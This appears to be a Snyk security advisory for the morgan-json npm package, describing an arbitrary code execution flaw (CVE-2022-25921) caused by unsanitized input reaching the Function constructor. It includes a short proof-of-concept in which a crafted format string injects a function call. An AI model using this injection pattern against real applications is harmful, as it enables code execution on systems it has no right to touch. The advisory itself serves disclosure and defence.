Arbitrary Code Execution Affecting morgan-json package, versions *


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.48% (77th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Arbitrary Code Execution vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-JS-MORGANJSON-2976193
  • published28 Aug 2022
  • disclosed7 Aug 2022
  • creditOmniTaint

Introduced: 7 Aug 2022

CVE-2022-25921  (opens in a new tab)
CWE-94  (opens in a new tab)
First added by Snyk

How to fix?

There is no fixed version for morgan-json.

Overview

morgan-json is an A variant of morgan.compile that provides format functions that output JSON

Affected versions of this package are vulnerable to Arbitrary Code Execution due to missing sanitization of input passed to the Function constructor.

PoC

var PUT = require('morgan-json');
global.CTF = function() { console.log('GLOBAL CTF HIT'); };
var x = '}) + global.CTF() + ({'
try {
new PUT(x,{})('');
} catch (e) {
console.log(e);
}

References

CVSS Scores

version 3.1